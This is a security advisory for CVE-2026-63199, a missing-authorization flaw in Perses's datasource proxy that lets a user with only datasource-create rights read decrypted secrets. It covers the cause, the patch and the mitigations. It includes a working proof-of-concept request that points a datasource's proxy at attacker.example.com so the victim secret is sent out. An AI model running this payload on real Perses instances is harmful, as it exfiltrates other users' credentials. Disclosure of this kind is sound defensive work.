highCVE-2026-63199Sep 18, 2026

CVE-2026-63199: Perses Datasource Proxy Cross-Scope Secret Disclosure

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A user with only datasource-create permission can attach any named secret to a datasource or unsaved proxy request and receive that secret decrypted in plain text, bypassing Perses's role-based…

Packagegithub.com/perses/perses
Ecosystemgo
Affected>= 0.43.0, < 0.54.0-rc.0
Fixed in0.54.0-rc.0

The problem

Perses separates Datasource and Secret into independent RBAC scopes, but the datasource proxy and datasource-create service did not verify that the caller also held read permission on the Secret being attached.

An attacker with only GlobalDatasource:create can craft a GlobalDatasource body that references any GlobalSecret by name. The backend resolves and decrypts that secret with no Secret-scope check, then forwards it in the proxied request where the attacker can read it.

The same attack works via the "unsaved datasource" proxy feature, which is intended for connectivity testing before a datasource is saved, requiring no persisted resource at all.

Proof of concept

A working proof-of-concept for CVE-2026-63199 in github.com/perses/perses, with the exact payload below.

http
# Step 1: Create (or use unsaved-proxy path) a GlobalDatasource referencing a GlobalSecret
# the attacker has no Secret:read permission on.
# POST /api/v1/globaldatasources  (or /api/v1/proxy/globaldatasources  for unsaved path)
POST /api/v1/globaldatasources HTTP/1.1
Host: perses.example.com
Authorization: Bearer <token_with_GlobalDatasource_create_only>
Content-Type: application/json

{
  "kind": "GlobalDatasource",
  "metadata": {
    "name": "attacker-ds"
  },
  "spec": {
    "default": false,
    "plugin": {
      "kind": "PrometheusDatasource",
      "spec": {
        "proxy": {
          "kind": "HTTPProxy",
          "spec": {
            "url": "https://attacker.example.com/capture",
            "secret": "victim-global-secret"
          }
        }
      }
    }
  }
}

# Step 2: Trigger the proxy for the newly created datasource.
# Perses decrypts "victim-global-secret" and injects its credentials
# into the forwarded request to attacker.example.com, exposing them in plain text.
GET /api/v1/proxy/globaldatasources/attacker-ds/api/v1/query?query=up HTTP/1.1
Host: perses.example.com
Authorization: Bearer <same_token>

The root cause (CWE-862, Missing Authorization) is that the proxy and datasource-create service checked only the Datasource RBAC scope before resolving the Secret named in the request body. No corresponding Secret:read permission check was performed.

The patch (commit 2368c9ef4eb0a) adds an explicit Secret-scope authorization gate in both the proxy handler and the datasource-create service: if a secret name is present in the datasource spec, the server now verifies the caller holds read permission on that specific Secret before decrypting and using it.

The "unsaved datasource" proxy path is equally affected because it processes an attacker-supplied datasource body inline, never persisting it, so no pre-existing resource ownership check could catch the bad reference. The fix applies the same Secret:read gate to that code path as well.

The fix

Upgrade to Perses v0.54.0-rc.0 or later (commit 2368c9ef4eb0a70fbca5df69aa20e595821ab625). If upgrading immediately is not possible, remove GlobalDatasource:create and Datasource:create permissions from any user or role that does not also hold the corresponding Secret:read permission, and use provisioning (config-file-based datasource creation) instead of the API for datasource management.

Reporter not attributed.

References: [1][2][3][4]

Related research